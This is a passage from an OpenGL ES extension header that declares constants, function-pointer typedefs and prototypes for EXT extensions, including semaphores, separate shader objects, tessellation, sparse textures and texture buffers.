GL_EXT_sRGB #define GL_EXT_sRGB 1 #define GL_SRGB_EXT 0x8C40 #define GL_SRGB_ALPHA_EXT 0x8C42 #define GL_SRGB8_ALPHA8_EXT 0x8C43 #define GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT 0x8210 #endif /* GL_EXT_sRGB */ #ifndef GL_EXT_sRGB_write_control #define GL_EXT_sRGB_write_control 1 #define GL_FRAMEBUFFER_SRGB_EXT 0x8DB9 #endif /* GL_EXT_sRGB_write_control */ #ifndef GL_EXT_semaphore #define GL_EXT_semaphore 1 #define GL_LAYOUT_GENERAL_EXT 0x958D #define GL_LAYOUT_COLOR_ATTACHMENT_EXT 0x958E #define GL_LAYOUT_DEPTH_STENCIL_ATTACHMENT_EXT 0x958F #define GL_LAYOUT_DEPTH_STENCIL_READ_ONLY_EXT 0x9590 #define GL_LAYOUT_SHADER_READ_ONLY_EXT 0x9591 #define GL_LAYOUT_TRANSFER_SRC_EXT 0x9592 #define GL_LAYOUT_TRANSFER_DST_EXT 0x9593 #define GL_LAYOUT_DEPTH_READ_ONLY_STENCIL_ATTACHMENT_EXT 0x9530 #define GL_LAYOUT_DEPTH_ATTACHMENT_STENCIL_READ_ONLY_EXT 0x9531 typedef void (GL_APIENTRYP PFNGLGENSEMAPHORESEXTPROC) (GLsizei n, GLuint *semaphores); typedef void (GL_APIENTRYP PFNGLDELETESEMAPHORESEXTPROC) (GLsizei n, const GLuint *semaphores); typedef GLboolean (GL_APIENTRYP PFNGLISSEMAPHOREEXTPROC) (GLuint semaphore); typedef void (GL_APIENTRYP PFNGLSEMAPHOREPARAMETERUI64VEXTPROC) (GLuint semaphore, GLenum pname, const GLuint64 *params); typedef void (GL_APIENTRYP PFNGLGETSEMAPHOREPARAMETERUI64VEXTPROC) (GLuint semaphore, GLenum pname, GLuint64 *params); typedef void (GL_APIENTRYP PFNGLWAITSEMAPHOREEXTPROC) (GLuint semaphore, GLuint numBufferBarriers, const GLuint *buffers, GLuint numTextureBarriers, const GLuint *textures, const GLenum *srcLayouts); typedef void (GL_APIENTRYP PFNGLSIGNALSEMAPHOREEXTPROC) (GLuint semaphore, GLuint numBufferBarriers, const GLuint *buffers, GLuint numTextureBarriers, const GLuint *textures, const GLenum *dstLayouts); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGenSemaphoresEXT (GLsizei n, GLuint *semaphores); GL_APICALL void GL_APIENTRY glDeleteSemaphoresEXT (GLsizei n, const GLuint *semaphores); GL_APICALL GLboolean GL_APIENTRY glIsSemaphoreEXT (GLuint semaphore); GL_APICALL void GL_APIENTRY glSemaphoreParameterui64vEXT (GLuint semaphore, GLenum pname, const GLuint64 *params); GL_APICALL void GL_APIENTRY glGetSemaphoreParameterui64vEXT (GLuint semaphore, GLenum pname, GLuint64 *params); GL_APICALL void GL_APIENTRY glWaitSemaphoreEXT (GLuint semaphore, GLuint numBufferBarriers, const GLuint *buffers, GLuint numTextureBarriers, const GLuint *textures, const GLenum *srcLayouts); GL_APICALL void GL_APIENTRY glSignalSemaphoreEXT (GLuint semaphore, GLuint numBufferBarriers, const GLuint *buffers, GLuint numTextureBarriers, const GLuint *textures, const GLenum *dstLayouts); #endif #endif /* GL_EXT_semaphore */ #ifndef GL_EXT_semaphore_fd #define GL_EXT_semaphore_fd 1 typedef void (GL_APIENTRYP PFNGLIMPORTSEMAPHOREFDEXTPROC) (GLuint semaphore, GLenum handleType, GLint fd); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glImportSemaphoreFdEXT (GLuint semaphore, GLenum handleType, GLint fd); #endif #endif /* GL_EXT_semaphore_fd */ #ifndef GL_EXT_semaphore_win32 #define GL_EXT_semaphore_win32 1 #define GL_HANDLE_TYPE_D3D12_FENCE_EXT 0x9594 #define GL_D3D12_FENCE_VALUE_EXT 0x9595 typedef void (GL_APIENTRYP PFNGLIMPORTSEMAPHOREWIN32HANDLEEXTPROC) (GLuint semaphore, GLenum handleType, void *handle); typedef void (GL_APIENTRYP PFNGLIMPORTSEMAPHOREWIN32NAMEEXTPROC) (GLuint semaphore, GLenum handleType, const void *name); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glImportSemaphoreWin32HandleEXT (GLuint semaphore, GLenum handleType, void *handle); GL_APICALL void GL_APIENTRY glImportSemaphoreWin32NameEXT (GLuint semaphore, GLenum handleType, const void *name); #endif #endif /* GL_EXT_semaphore_win32 */ #ifndef GL_EXT_separate_shader_objects #define GL_EXT_separate_shader_objects 1 #define GL_ACTIVE_PROGRAM_EXT 0x8259 #define GL_VERTEX_SHADER_BIT_EXT 0x00000001 #define GL_FRAGMENT_SHADER_BIT_EXT 0x00000002 #define GL_ALL_SHADER_BITS_EXT 0xFFFFFFFF #define GL_PROGRAM_SEPARABLE_EXT 0x8258 #define GL_PROGRAM_PIPELINE_BINDING_EXT 0x825A typedef void (GL_APIENTRYP PFNGLACTIVESHADERPROGRAMEXTPROC) (GLuint pipeline, GLuint program); typedef void (GL_APIENTRYP PFNGLBINDPROGRAMPIPELINEEXTPROC) (GLuint pipeline); typedef GLuint (GL_APIENTRYP PFNGLCREATESHADERPROGRAMVEXTPROC) (GLenum type, GLsizei count, const GLchar **strings); typedef void (GL_APIENTRYP PFNGLDELETEPROGRAMPIPELINESEXTPROC) (GLsizei n, const GLuint *pipelines); typedef void (GL_APIENTRYP PFNGLGENPROGRAMPIPELINESEXTPROC) (GLsizei n, GLuint *pipelines); typedef void (GL_APIENTRYP PFNGLGETPROGRAMPIPELINEINFOLOGEXTPROC) (GLuint pipeline, GLsizei bufSize, GLsizei *length, GLchar *infoLog); typedef void (GL_APIENTRYP PFNGLGETPROGRAMPIPELINEIVEXTPROC) (GLuint pipeline, GLenum pname, GLint *params); typedef GLboolean (GL_APIENTRYP PFNGLISPROGRAMPIPELINEEXTPROC) (GLuint pipeline); typedef void (GL_APIENTRYP PFNGLPROGRAMPARAMETERIEXTPROC) (GLuint program, GLenum pname, GLint value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1FEXTPROC) (GLuint program, GLint location, GLfloat v0); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1FVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1IEXTPROC) (GLuint program, GLint location, GLint v0); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1IVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2FEXTPROC) (GLuint program, GLint location, GLfloat v0, GLfloat v1); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2FVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2IEXTPROC) (GLuint program, GLint location, GLint v0, GLint v1); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2IVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3FEXTPROC) (GLuint program, GLint location, GLfloat v0, GLfloat v1, GLfloat v2); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3FVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3IEXTPROC) (GLuint program, GLint location, GLint v0, GLint v1, GLint v2); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3IVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4FEXTPROC) (GLuint program, GLint location, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4FVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4IEXTPROC) (GLuint program, GLint location, GLint v0, GLint v1, GLint v2, GLint v3); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4IVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX2FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX3FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX4FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLUSEPROGRAMSTAGESEXTPROC) (GLuint pipeline, GLbitfield stages, GLuint program); typedef void (GL_APIENTRYP PFNGLVALIDATEPROGRAMPIPELINEEXTPROC) (GLuint pipeline); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1UIEXTPROC) (GLuint program, GLint location, GLuint v0); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2UIEXTPROC) (GLuint program, GLint location, GLuint v0, GLuint v1); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3UIEXTPROC) (GLuint program, GLint location, GLuint v0, GLuint v1, GLuint v2); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4UIEXTPROC) (GLuint program, GLint location, GLuint v0, GLuint v1, GLuint v2, GLuint v3); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM1UIVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLuint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM2UIVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLuint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM3UIVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLuint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORM4UIVEXTPROC) (GLuint program, GLint location, GLsizei count, const GLuint *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX2X3FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX3X2FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX2X4FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX4X2FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX3X4FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMMATRIX4X3FVEXTPROC) (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glActiveShaderProgramEXT (GLuint pipeline, GLuint program); GL_APICALL void GL_APIENTRY glBindProgramPipelineEXT (GLuint pipeline); GL_APICALL GLuint GL_APIENTRY glCreateShaderProgramvEXT (GLenum type, GLsizei count, const GLchar **strings); GL_APICALL void GL_APIENTRY glDeleteProgramPipelinesEXT (GLsizei n, const GLuint *pipelines); GL_APICALL void GL_APIENTRY glGenProgramPipelinesEXT (GLsizei n, GLuint *pipelines); GL_APICALL void GL_APIENTRY glGetProgramPipelineInfoLogEXT (GLuint pipeline, GLsizei bufSize, GLsizei *length, GLchar *infoLog); GL_APICALL void GL_APIENTRY glGetProgramPipelineivEXT (GLuint pipeline, GLenum pname, GLint *params); GL_APICALL GLboolean GL_APIENTRY glIsProgramPipelineEXT (GLuint pipeline); GL_APICALL void GL_APIENTRY glProgramParameteriEXT (GLuint program, GLenum pname, GLint value); GL_APICALL void GL_APIENTRY glProgramUniform1fEXT (GLuint program, GLint location, GLfloat v0); GL_APICALL void GL_APIENTRY glProgramUniform1fvEXT (GLuint program, GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniform1iEXT (GLuint program, GLint location, GLint v0); GL_APICALL void GL_APIENTRY glProgramUniform1ivEXT (GLuint program, GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glProgramUniform2fEXT (GLuint program, GLint location, GLfloat v0, GLfloat v1); GL_APICALL void GL_APIENTRY glProgramUniform2fvEXT (GLuint program, GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniform2iEXT (GLuint program, GLint location, GLint v0, GLint v1); GL_APICALL void GL_APIENTRY glProgramUniform2ivEXT (GLuint program, GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glProgramUniform3fEXT (GLuint program, GLint location, GLfloat v0, GLfloat v1, GLfloat v2); GL_APICALL void GL_APIENTRY glProgramUniform3fvEXT (GLuint program, GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniform3iEXT (GLuint program, GLint location, GLint v0, GLint v1, GLint v2); GL_APICALL void GL_APIENTRY glProgramUniform3ivEXT (GLuint program, GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glProgramUniform4fEXT (GLuint program, GLint location, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3); GL_APICALL void GL_APIENTRY glProgramUniform4fvEXT (GLuint program, GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniform4iEXT (GLuint program, GLint location, GLint v0, GLint v1, GLint v2, GLint v3); GL_APICALL void GL_APIENTRY glProgramUniform4ivEXT (GLuint program, GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix2fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix3fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix4fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUseProgramStagesEXT (GLuint pipeline, GLbitfield stages, GLuint program); GL_APICALL void GL_APIENTRY glValidateProgramPipelineEXT (GLuint pipeline); GL_APICALL void GL_APIENTRY glProgramUniform1uiEXT (GLuint program, GLint location, GLuint v0); GL_APICALL void GL_APIENTRY glProgramUniform2uiEXT (GLuint program, GLint location, GLuint v0, GLuint v1); GL_APICALL void GL_APIENTRY glProgramUniform3uiEXT (GLuint program, GLint location, GLuint v0, GLuint v1, GLuint v2); GL_APICALL void GL_APIENTRY glProgramUniform4uiEXT (GLuint program, GLint location, GLuint v0, GLuint v1, GLuint v2, GLuint v3); GL_APICALL void GL_APIENTRY glProgramUniform1uivEXT (GLuint program, GLint location, GLsizei count, const GLuint *value); GL_APICALL void GL_APIENTRY glProgramUniform2uivEXT (GLuint program, GLint location, GLsizei count, const GLuint *value); GL_APICALL void GL_APIENTRY glProgramUniform3uivEXT (GLuint program, GLint location, GLsizei count, const GLuint *value); GL_APICALL void GL_APIENTRY glProgramUniform4uivEXT (GLuint program, GLint location, GLsizei count, const GLuint *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix2x3fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix3x2fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix2x4fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix4x2fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix3x4fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glProgramUniformMatrix4x3fvEXT (GLuint program, GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); #endif #endif /* GL_EXT_separate_shader_objects */ #ifndef GL_EXT_shader_framebuffer_fetch #define GL_EXT_shader_framebuffer_fetch 1 #define GL_FRAGMENT_SHADER_DISCARDS_SAMPLES_EXT 0x8A52 #endif /* GL_EXT_shader_framebuffer_fetch */ #ifndef GL_EXT_shader_framebuffer_fetch_non_coherent #define GL_EXT_shader_framebuffer_fetch_non_coherent 1 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERFETCHBARRIEREXTPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferFetchBarrierEXT (void); #endif #endif /* GL_EXT_shader_framebuffer_fetch_non_coherent */ #ifndef GL_EXT_shader_group_vote #define GL_EXT_shader_group_vote 1 #endif /* GL_EXT_shader_group_vote */ #ifndef GL_EXT_shader_implicit_conversions #define GL_EXT_shader_implicit_conversions 1 #endif /* GL_EXT_shader_implicit_conversions */ #ifndef GL_EXT_shader_integer_mix #define GL_EXT_shader_integer_mix 1 #endif /* GL_EXT_shader_integer_mix */ #ifndef GL_EXT_shader_io_blocks #define GL_EXT_shader_io_blocks 1 #endif /* GL_EXT_shader_io_blocks */ #ifndef GL_EXT_shader_non_constant_global_initializers #define GL_EXT_shader_non_constant_global_initializers 1 #endif /* GL_EXT_shader_non_constant_global_initializers */ #ifndef GL_EXT_shader_pixel_local_storage #define GL_EXT_shader_pixel_local_storage 1 #define GL_MAX_SHADER_PIXEL_LOCAL_STORAGE_FAST_SIZE_EXT 0x8F63 #define GL_MAX_SHADER_PIXEL_LOCAL_STORAGE_SIZE_EXT 0x8F67 #define GL_SHADER_PIXEL_LOCAL_STORAGE_EXT 0x8F64 #endif /* GL_EXT_shader_pixel_local_storage */ #ifndef GL_EXT_shader_pixel_local_storage2 #define GL_EXT_shader_pixel_local_storage2 1 #define GL_MAX_SHADER_COMBINED_LOCAL_STORAGE_FAST_SIZE_EXT 0x9650 #define GL_MAX_SHADER_COMBINED_LOCAL_STORAGE_SIZE_EXT 0x9651 #define GL_FRAMEBUFFER_INCOMPLETE_INSUFFICIENT_SHADER_COMBINED_LOCAL_STORAGE_EXT 0x9652 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERPIXELLOCALSTORAGESIZEEXTPROC) (GLuint target, GLsizei size); typedef GLsizei (GL_APIENTRYP PFNGLGETFRAMEBUFFERPIXELLOCALSTORAGESIZEEXTPROC) (GLuint target); typedef void (GL_APIENTRYP PFNGLCLEARPIXELLOCALSTORAGEUIEXTPROC) (GLsizei offset, GLsizei n, const GLuint *values); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferPixelLocalStorageSizeEXT (GLuint target, GLsizei size); GL_APICALL GLsizei GL_APIENTRY glGetFramebufferPixelLocalStorageSizeEXT (GLuint target); GL_APICALL void GL_APIENTRY glClearPixelLocalStorageuiEXT (GLsizei offset, GLsizei n, const GLuint *values); #endif #endif /* GL_EXT_shader_pixel_local_storage2 */ #ifndef GL_EXT_shader_texture_lod #define GL_EXT_shader_texture_lod 1 #endif /* GL_EXT_shader_texture_lod */ #ifndef GL_EXT_shadow_samplers #define GL_EXT_shadow_samplers 1 #define GL_TEXTURE_COMPARE_MODE_EXT 0x884C #define GL_TEXTURE_COMPARE_FUNC_EXT 0x884D #define GL_COMPARE_REF_TO_TEXTURE_EXT 0x884E #define GL_SAMPLER_2D_SHADOW_EXT 0x8B62 #endif /* GL_EXT_shadow_samplers */ #ifndef GL_EXT_sparse_texture #define GL_EXT_sparse_texture 1 #define GL_TEXTURE_SPARSE_EXT 0x91A6 #define GL_VIRTUAL_PAGE_SIZE_INDEX_EXT 0x91A7 #define GL_NUM_SPARSE_LEVELS_EXT 0x91AA #define GL_NUM_VIRTUAL_PAGE_SIZES_EXT 0x91A8 #define GL_VIRTUAL_PAGE_SIZE_X_EXT 0x9195 #define GL_VIRTUAL_PAGE_SIZE_Y_EXT 0x9196 #define GL_VIRTUAL_PAGE_SIZE_Z_EXT 0x9197 #define GL_TEXTURE_2D_ARRAY 0x8C1A #define GL_TEXTURE_3D 0x806F #define GL_MAX_SPARSE_TEXTURE_SIZE_EXT 0x9198 #define GL_MAX_SPARSE_3D_TEXTURE_SIZE_EXT 0x9199 #define GL_MAX_SPARSE_ARRAY_TEXTURE_LAYERS_EXT 0x919A #define GL_SPARSE_TEXTURE_FULL_ARRAY_CUBE_MIPMAPS_EXT 0x91A9 typedef void (GL_APIENTRYP PFNGLTEXPAGECOMMITMENTEXTPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLboolean commit); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexPageCommitmentEXT (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLboolean commit); #endif #endif /* GL_EXT_sparse_texture */ #ifndef GL_EXT_sparse_texture2 #define GL_EXT_sparse_texture2 1 #endif /* GL_EXT_sparse_texture2 */ #ifndef GL_EXT_tessellation_point_size #define GL_EXT_tessellation_point_size 1 #endif /* GL_EXT_tessellation_point_size */ #ifndef GL_EXT_tessellation_shader #define GL_EXT_tessellation_shader 1 #define GL_PATCHES_EXT 0x000E #define GL_PATCH_VERTICES_EXT 0x8E72 #define GL_TESS_CONTROL_OUTPUT_VERTICES_EXT 0x8E75 #define GL_TESS_GEN_MODE_EXT 0x8E76 #define GL_TESS_GEN_SPACING_EXT 0x8E77 #define GL_TESS_GEN_VERTEX_ORDER_EXT 0x8E78 #define GL_TESS_GEN_POINT_MODE_EXT 0x8E79 #define GL_ISOLINES_EXT 0x8E7A #define GL_QUADS_EXT 0x0007 #define GL_FRACTIONAL_ODD_EXT 0x8E7B #define GL_FRACTIONAL_EVEN_EXT 0x8E7C #define GL_MAX_PATCH_VERTICES_EXT 0x8E7D #define GL_MAX_TESS_GEN_LEVEL_EXT 0x8E7E #define GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS_EXT 0x8E7F #define GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS_EXT 0x8E80 #define GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS_EXT 0x8E81 #define GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS_EXT 0x8E82 #define GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS_EXT 0x8E83 #define GL_MAX_TESS_PATCH_COMPONENTS_EXT 0x8E84 #define GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS_EXT 0x8E85 #define GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS_EXT 0x8E86 #define GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS_EXT 0x8E89 #define GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS_EXT 0x8E8A #define GL_MAX_TESS_CONTROL_INPUT_COMPONENTS_EXT 0x886C #define GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS_EXT 0x886D #define GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS_EXT 0x8E1E #define GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS_EXT 0x8E1F #define GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS_EXT 0x92CD #define GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS_EXT 0x92CE #define GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS_EXT 0x92D3 #define GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS_EXT 0x92D4 #define GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS_EXT 0x90CB #define GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS_EXT 0x90CC #define GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS_EXT 0x90D8 #define GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS_EXT 0x90D9 #define GL_PRIMITIVE_RESTART_FOR_PATCHES_SUPPORTED 0x8221 #define GL_IS_PER_PATCH_EXT 0x92E7 #define GL_REFERENCED_BY_TESS_CONTROL_SHADER_EXT 0x9307 #define GL_REFERENCED_BY_TESS_EVALUATION_SHADER_EXT 0x9308 #define GL_TESS_CONTROL_SHADER_EXT 0x8E88 #define GL_TESS_EVALUATION_SHADER_EXT 0x8E87 #define GL_TESS_CONTROL_SHADER_BIT_EXT 0x00000008 #define GL_TESS_EVALUATION_SHADER_BIT_EXT 0x00000010 typedef void (GL_APIENTRYP PFNGLPATCHPARAMETERIEXTPROC) (GLenum pname, GLint value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPatchParameteriEXT (GLenum pname, GLint value); #endif #endif /* GL_EXT_tessellation_shader */ #ifndef GL_EXT_texture_border_clamp #define GL_EXT_texture_border_clamp 1 #define GL_TEXTURE_BORDER_COLOR_EXT 0x1004 #define GL_CLAMP_TO_BORDER_EXT 0x812D typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIIVEXTPROC) (GLenum target, GLenum pname, const GLint *params); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIUIVEXTPROC) (GLenum target, GLenum pname, const GLuint *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERIIVEXTPROC) (GLenum target, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERIUIVEXTPROC) (GLenum target, GLenum pname, GLuint *params); typedef void (GL_APIENTRYP PFNGLSAMPLERPARAMETERIIVEXTPROC) (GLuint sampler, GLenum pname, const GLint *param); typedef void (GL_APIENTRYP PFNGLSAMPLERPARAMETERIUIVEXTPROC) (GLuint sampler, GLenum pname, const GLuint *param); typedef void (GL_APIENTRYP PFNGLGETSAMPLERPARAMETERIIVEXTPROC) (GLuint sampler, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETSAMPLERPARAMETERIUIVEXTPROC) (GLuint sampler, GLenum pname, GLuint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexParameterIivEXT (GLenum target, GLenum pname, const GLint *params); GL_APICALL void GL_APIENTRY glTexParameterIuivEXT (GLenum target, GLenum pname, const GLuint *params); GL_APICALL void GL_APIENTRY glGetTexParameterIivEXT (GLenum target, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetTexParameterIuivEXT (GLenum target, GLenum pname, GLuint *params); GL_APICALL void GL_APIENTRY glSamplerParameterIivEXT (GLuint sampler, GLenum pname, const GLint *param); GL_APICALL void GL_APIENTRY glSamplerParameterIuivEXT (GLuint sampler, GLenum pname, const GLuint *param); GL_APICALL void GL_APIENTRY glGetSamplerParameterIivEXT (GLuint sampler, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetSamplerParameterIuivEXT (GLuint sampler, GLenum pname, GLuint *params); #endif #endif /* GL_EXT_texture_border_clamp */ #ifndef GL_EXT_texture_buffer #define GL_EXT_texture_buffer 1 #define GL_TEXTURE_BUFFER_EXT 0x8C2A #define GL_TEXTURE_BUFFER_BINDING_EXT 0x8C2A #define GL_MAX_TEXTURE_BUFFER_SIZE_EXT 0x8C2B #define GL_TEXTURE_BINDING_BUFFER_EXT 0x8C2C #define GL_TEXTURE_BUFFER_DATA_STORE_BINDING_EXT 0x8C2D #define GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT_EXT 0x919F #define GL_SAMPLER_BUFFER_EXT 0x8DC2 #define GL_INT_SAMPLER_BUFFER_EXT 0x8DD0 #define GL_UNSIGNED_INT_SAMPLER_BUFFER_EXT 0x8DD8 #define GL_IMAGE_BUFFER_EXT 0x9051 #define GL_INT_IMAGE_BUFFER_EXT 0x905C #define GL_UNSIGNED_INT_IMAGE_BUFFER_EXT 0x9067 #define GL_TEXTURE_BUFFER_OFFSET_EXT 0x919D #define GL_TEXTURE_BUFFER_SIZE_EXT 0x919E typedef void (GL_APIENTRYP PFNGLTEXBUFFEREXTPROC) (GLenum target, GLenum internalformat, GLuint buffer); typedef void (GL_APIENTRYP PFNGLTEXBUFFERRANGEEXTPROC) (GLenum target, GLenum internalformat, GLuint buffer, GLintptr offset, GLsizeiptr size); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexBufferEXT (GLenum target, GLenum internalformat, GLuint buffer); GL_APICALL void GL_APIENTRY glTexBufferRangeEXT (GLenum target, GLenum internalformat, GLuint buffer, GLintptr offset, GLsizeiptr size); #endif #endif /* GL_EXT_texture_buffer */ #ifndef GL_EXT_texture_compression_astc_decode_mode #define GL_EXT_texture_compression_astc_decode_mode 1 #define GL_TEXTURE_ASTC_DECODE_PRECISION_EXT 0x8F69 #endif /* GL_EXT_texture_compression_astc_decode_mode */ #ifndef GL_EXT_texture_compression_bptc #define GL_EXT_texture_compression_bptc 1 #define GL_COMPRESSED_RGBA_BPTC_UNORM_EXT 0x8E8C #define GL_COMPRESSED_SRGB_ALPHA_BPTC_UNORM_EXT 0x8E8D #define GL_COMPRESSED_RGB_BPTC_SIGNED_FLOAT_EXT 0x8E8E #define GL_COMPRESSED_RGB_BPTC_UNSIGNED_FLOAT_EXT 0x8E8F #endif /* GL_EXT_texture_compression_bptc */ #ifndef GL_EXT_texture_compression_dxt1 #define GL_EXT_texture_compression_dxt1 1 #define GL_COMPRESSED_RGB_S3TC_DXT1_EXT 0x83F0 #define 